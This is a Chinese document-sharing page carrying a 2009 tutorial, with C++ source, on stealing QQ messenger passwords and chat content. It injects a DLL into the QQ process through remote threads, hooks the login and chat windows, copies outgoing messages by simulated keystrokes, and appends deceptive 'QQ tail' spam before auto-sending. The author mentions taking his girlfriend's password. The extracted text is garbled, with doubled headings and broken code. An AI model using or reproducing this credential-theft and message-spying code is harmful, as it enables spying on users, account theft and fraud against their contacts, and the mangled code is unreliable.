截取QQ密碼和聊天內(nèi)容去掉QQ廣告欄添加QQ尾巴_第1頁
截取QQ密碼和聊天內(nèi)容去掉QQ廣告欄添加QQ尾巴_第2頁
截取QQ密碼和聊天內(nèi)容去掉QQ廣告欄添加QQ尾巴_第3頁
截取QQ密碼和聊天內(nèi)容去掉QQ廣告欄添加QQ尾巴_第4頁
截取QQ密碼和聊天內(nèi)容去掉QQ廣告欄添加QQ尾巴_第5頁
已閱讀5頁,還剩14頁未讀 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認(rèn)領(lǐng)

文檔簡介

1、如何截取如何截取 QQQQ 密碼和聊天內(nèi)容、去掉密碼和聊天內(nèi)容、去掉 QQQQ 廣告欄、添加廣告欄、添加 QQQQ 尾巴(附源碼)尾巴(附源碼)【版 本】1.0.0【操作系統(tǒng)】Windows 桌面操作系統(tǒng)【作 者】謝紅偉chrys http:/【開發(fā)日期】2009-02-15 5:02【文檔日期】2009-02-15 5:02【源代碼下載】http:/ 引引前言 .1思路分析 .2進入 QQ 進程.2遠(yuǎn)程注入 DLL.3截取 QQ 登錄密碼.7截取本機 QQ 賬號和昵稱.9截取聊天內(nèi)容 .11增加 QQ 尾巴.12去掉 QQ 廣告欄.15鄭重申明 .18結(jié)束語 .18前言前言中國網(wǎng)民沒有不熟悉

2、 QQ 的,QQ 玩家沒有不知道珊瑚蟲和彩虹的去廣告顯 IP 版 QQ 的,有段時間 QQ 尾巴也很盛行,就是每次聊天的時候它自動在你的聊天文字后面加一段話,欺騙你的 QQ 網(wǎng)友上當(dāng)。如今的網(wǎng)絡(luò)就好比武俠小說里的江湖,行走江湖的劍客須有絕世武功方可不倒于對手的劍下。本文將向你講述如何截取 QQ 密碼和聊天內(nèi)容,如何將 QQ 的廣告欄去掉,并添加自定的 QQ 尾巴。思路分析思路分析要截獲 QQ 密碼,大家一定想到鍵盤鉤子,2006 版以前的 QQ 用這種方法的確可以截獲到 QQ 密碼,我也曾經(jīng)用這種方法將我女朋友的 QQ 密碼給弄過來了,但 2007 版以后的 QQ 在密碼輸入框里做了大量的手腳

3、,即使用spy+也無法截取到任何消息,鍵盤鉤子也失效了。我們總是幸運的,QQ 登錄窗口的消息還是可以獲取到,既然鉤子不能用了,那我們何不換種思維方式走走捷徑呢?修改登錄窗口的回調(diào)函數(shù)地址,截取其所有消息,并創(chuàng)建一個虛假的密碼輸入框來到達(dá)截取密碼的目的,就好比在復(fù)寫紙上寫字,字跡會留下痕跡。騰訊為了保護聊天內(nèi)容的安全性,防止 QQ 尾巴的干擾,對聊天的文字輸入框用額外的控件做了特殊處理,同樣不能截取到任何消息,也不能用WM_GETTEXT 和 WM_CHAR 消息來取得其中的文字內(nèi)容。其實這個問題好解決,只要用模擬鍵盤程序模擬“Ctrl+A”-“Ctrl+C”就可以得到聊天內(nèi)容了。去 QQ 廣告

4、就更容易了,只要找到廣告顯示的子窗口,將它隱藏起來,然后在相同位置放一個自己的子窗口就可以了,如果獲取到 IP 地址或?qū)Ψ降牡乩砦恢玫刃畔⒁部梢燥@示在這里。說到這里,還有一個非常重要的問題,那就是我們的程序必須執(zhí)行在 QQ空間,因為 Windows 系統(tǒng)進程是受系統(tǒng)保護的,每個進程有自己獨立的內(nèi)存空間,很多 API 函數(shù)只對同一個進程有效,我們必須解決這個問題。進入進入 QQ 進程進程要將我們自己寫的代碼執(zhí)行在 QQ 進程空間中才能實現(xiàn)我們上面的的分析思路,我想到了兩種方法:第一種方法還是鉤子,我們的代碼寫到一個 dll 動態(tài)鏈接庫里,然后啟動系統(tǒng)鉤子,當(dāng)任何一個進程啟動時,我們的 dll 將

5、會被加載到該進程中,我們判斷是否為 QQ 進程,如果不是,我們的 dll 就立即卸載,否則我們就順利地進入到QQ 進程空間了。這種方法有個缺點,就是任何進程啟動時我們的 dll 都會被加載,嚴(yán)重影響到系統(tǒng)性能,我們在學(xué)習(xí)鉤子的時候書本上也確實講過,系統(tǒng)鉤子最好少用,如果程序代碼執(zhí)行效率不高的情況下,將影響系統(tǒng)性能,再好用的軟件也將變成垃圾而被用戶清除出去的。第二種方法就是遠(yuǎn)程 dll 注入,即用創(chuàng)建遠(yuǎn)程線程的方法在 QQ 進程空間中注入一個我自己的線程,這種方法針對性很強,只對 QQ 進程進行操作,不操作其他進程,不影響系統(tǒng)性能,而且靈活性好,我們隨時可以將線程注入,也可以隨時撤銷,而第一種方

6、法是系統(tǒng)鉤子內(nèi)部控制的,我們無法干預(yù)。遠(yuǎn)程注入遠(yuǎn)程注入 Dll我們的程序分為兩個部分,一部分是 exe 執(zhí)行程序,可以控制 Dll 的注入,另一部分就是我們要注入的 Dll。首先我們要找到系統(tǒng)中的 QQ 進程,這里要用到 ToolHelp32 系列函數(shù),以下函數(shù)能枚舉出系統(tǒng)所有的進程:BOOL CProcessManage:EnumSystemProcess (OUT CStringArray *pStrAry_ProcessName/*=NULL*/,OUT CUIntArray *pUIntAry_ProcessID/*=NULL*/,OUT CStringArray *pStrAry_P

7、rocessPriority/*=NULL*/,OUT CUIntArray *pUIntAry_ThreadNum/*=NULL*/,OUT CStringArray *pStrAry_ProcessPath/*=NULL*/)HANDLE hProcess = NULL;PROCESSENTRY32 pe32;pe32.dwSize = sizeof(pe32);HANDLE hProcessSnap = :CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 );if ( hProcessSnap = INVALID_HANDLE_VALUE

8、)return FALSE;BOOL bMore = :Process32First(hProcessSnap,&pe32);while ( bMore )hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID);if ( pStrAry_ProcessName ) pStrAry_ProcessName-Add ( pe32.szExeFile );if ( pUIntAry_ProcessID ) pUIntAry_ProcessID-Add ( pe32.th32ProcessID );if ( pUI

9、ntAry_ThreadNum ) pUIntAry_ThreadNum-Add ( tThreads );if ( pStrAry_ProcessPriority ) pStrAry_ProcessPriority-Add ( GetProcessPriority(hProcess) );if ( pStrAry_ProcessPath ) pStrAry_ProcessPath-Add ( GetProcessPath(pe32.th32ProcessID) );bMore = :Process32Next(hProcessSnap,&pe32);:CloseHandle(hPro

10、cessSnap);return TRUE;從枚舉出的所有進程中找到 QQ 進程,如下代碼:/ 枚舉出 “qq.exe”的進程/int EnumQQProcess ( CStringArray *pStrAry_ProcessName/*=NULL*/, CUIntArray *pUIntAry_ProcessID/*=NULL*/, CStringArray *pStrAry_ProcessPath/*=NULL*/ )CStringArray StrAry_ProcessName;CUIntArray UIntAry_ProcessID;CStringArray StrAry_Proces

11、sPath;if ( !CProcessManage:EnumSystemProcess (&StrAry_ProcessName,&UIntAry_ProcessID,NULL,NULL,&StrAry_ProcessPath) )return -1;ASSERT ( StrAry_ProcessName.GetSize() = UIntAry_ProcessID.GetSize() );ASSERT ( StrAry_ProcessName.GetSize() = StrAry_ProcessPath.GetSize() );int nCount = 0;for (

12、 int i=0; iAdd ( csProcessName );if ( pUIntAry_ProcessID ) pUIntAry_ProcessID-Add ( UIntAry_ProcessID.GetAt(i) );if ( pStrAry_ProcessPath ) pStrAry_ProcessPath-Add ( StrAry_ProcessPath.GetAt(i) );return nCount;接下來我們使用函數(shù) VirtualAllocEx()/WriteProcessMemory()函數(shù)在 QQ 進程中申請內(nèi)存空間,將我們的數(shù)據(jù)參數(shù)寫入到 QQ 進程內(nèi)存空間里,然后用

13、CreateRemoteThread()函數(shù)在 QQ 進程空間中啟動一個遠(yuǎn)程線程,將我們的 dll執(zhí)行在 QQ 進程空間中,如下函數(shù)既是:typedef void (WINAPI *FUNC_SetRemoteParameter) ( LPVOID pParaAddrss, HWND hWndInvoker );BOOL CRemoteThreadMateQQDlg:RemoteInject ( DWORD dwPID, BOOL bInjected )if ( dwPID m_csLocalQQAccount.Empty();m_pQQMate-m_csLocalQQNickname.Emp

14、ty();memset ( &m_pQQMate-m_tnd, 0, sizeof(NOTIFYICONDATA) );CUIntArray UIntAry_ThreadID;CProcessManage:GetThreadInfo ( GetCurrentProcessId(), &UIntAry_ThreadID );for ( int i=0; im_hWndChatWindow, &pFindQQChatInfoPara-m_pfnOrgWindowProc_ChatWindow, WindowProc_ChatWindow );以上代碼將 QQ 聊天窗口的過程

15、函數(shù)改為我們自己的函數(shù)“WindowProc_ChatWindow()” ,那用戶到底什么時候發(fā)送聊天信息呢?我們只要截獲消息 711 即可,收到該消息以后我們將觸發(fā)一個事件,我們另外的線程便開始工作,將聊天內(nèi)容通過模擬鍵盤事件的方式復(fù)制出來,然后再保存到我們另外的內(nèi)存區(qū)域里。/ 獲取用戶正要發(fā)送的聊天內(nèi)容,保存到數(shù)組中/CString CQQMate:GetWillSentChatText ()HwDbgLog ( L_DEBUG, _T(- GetWillSentChatText() );int nSleepTime = 100;/ 激活“發(fā)送文字信息的編輯框”并獲取輸入焦點ActiveW

16、indowAndHoldFocus ( m_pFindQQChatInfoPara_WillSendTextMsg-m_hWndChatWindow );CRect rcEditForSendMessage(0,0,0,0);:GetWindowRect ( m_pFindQQChatInfoPara_WillSendTextMsg-m_hWndEditForSendMessage, &rcEditForSendMessage );:SetFocus ( m_pFindQQChatInfoPara_WillSendTextMsg-m_hWndEditForSendMessage );M

17、ouseLeftClick ( rcEditForSendMessage.CenterPoint() );/ 將要發(fā)送的文字內(nèi)容拷貝出來并保存起來CString csSendingText;for ( int i=0; iAddQQChatContent ( TRUE, csSendingText );return csSendingText;增加增加 QQ 尾巴尾巴在獲取到聊天內(nèi)容后,還可以用模擬鍵盤的方式將 QQ 尾巴信息加到要發(fā)送的文字后面,如下代碼所示:CString CQQMate:AddQQTailText ()HwDbgLog ( L_DEBUG, _T(- AddQQTailT

18、ext() );int nSleepTime = 100;CString csQQTail;/ 將“消息模式”的聊天窗口透明化隱藏起來if ( m_pFindQQChatInfoPara_WillSendTextMsg-m_eQQChatWindowType = QQCHATWINDOW_MESSAGEMODE )/TransparentWindow ( m_pFindQQChatInfoPara_WillSendTextMsg-m_hWndChatWindow, 0 );:ShowWindow ( m_pFindQQChatInfoPara_WillSendTextMsg-m_hWndCha

19、tWindow, SW_RESTORE );/ 增加 QQ 尾巴內(nèi)容int nQQTailPos = -1;csQQTail = GetQQTailText ( m_pFindQQChatInfoPara_WillSendTextMsg-m_csQQPeerAccount );if ( !csQQTail.IsEmpty() )if ( m_pFindQQChatInfoPara_WillSendTextMsg-m_eQQChatWindowType = QQCHATWINDOW_DISCUSSION )csQQTail.Insert ( 0, _T(rn) );CopyTextToClipb

20、oard ( csQQTail );Sleep(nSleepTime);if ( m_pFindQQChatInfoPara_WillSendTextMsg-m_eQQChatWindowType = QQCHATWINDOW_DISCUSSION )KeyboardCombineEvent ( VK_CONTROL, VK_END, 0 );elseKeyboardCombineEvent ( VK_CONTROL, A, 0 );Sleep(nSleepTime);KeyboardCombineEvent ( VK_CONTROL, V, 0 );Sleep(nSleepTime);HwD

21、bgLog ( L_DEBUG, _T(QQ 尾巴內(nèi)容 = %s), csQQTail );return csQQTail;由于我們是在用戶做了發(fā)送操作(點“發(fā)送”按鈕、按快捷鍵“Ctrl+Enter” 、按快捷鍵“Alt+S” )之后才進行我們的處理,所以簡單地將 QQ尾巴信息加到發(fā)送框里是發(fā)送不出去的,所以我們必須在增加 QQ 尾巴信息完成后再向 QQ 聊天窗口發(fā)送一個“發(fā)送按鈕”被點擊的消息,如下代碼所示:if ( !csQQTail.IsEmpty() ):PostMessage ( m_pFindQQChatInfoPara_WillSendTextMsg-m_hWndChatWin

22、dow, WM_COMMAND, (WPARAM)CONTROL_ID_CHAT_BUTTON_SEND, LPARAM(NULL) );看看程序效果圖:輸入聊天文字發(fā)送聊天信息后自動增加了 QQ 尾巴去掉去掉 QQ 廣告欄廣告欄用EnumChildWindows() API 函數(shù)查找到廣告欄子窗口句柄,然后隱藏它,如下代碼所示:if ( !IsWindow(pFindQQChatInfoPara-m_hWndAD1) )/ 類名符合嗎if ( strstr_hw ( szClassName, _T(static) ) )CRect rc, rcAD1(248,22,490,62);:GetW

23、indowRect ( hWnd, &rc );CWnd:FromHandle(g_hWndQQChatWindow)-ScreenToClient ( &rc );if ( rcAD1.EqualRect(&rc) | ( rcAD1.PtInRect(rc.TopLeft() & rcAD1.PtInRect(rc.BottomRight() ) |( rc.PtInRect(rcAD1.TopLeft() & rc.PtInRect(rcAD1.BottomRight() )pFindQQChatInfoPara-m_hWndAD1 = hWnd;:ShowWindow ( hWnd, SW_HIDE );接著將我們需要顯示的文字內(nèi)容寫上去,可以截獲消息 WM_P

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論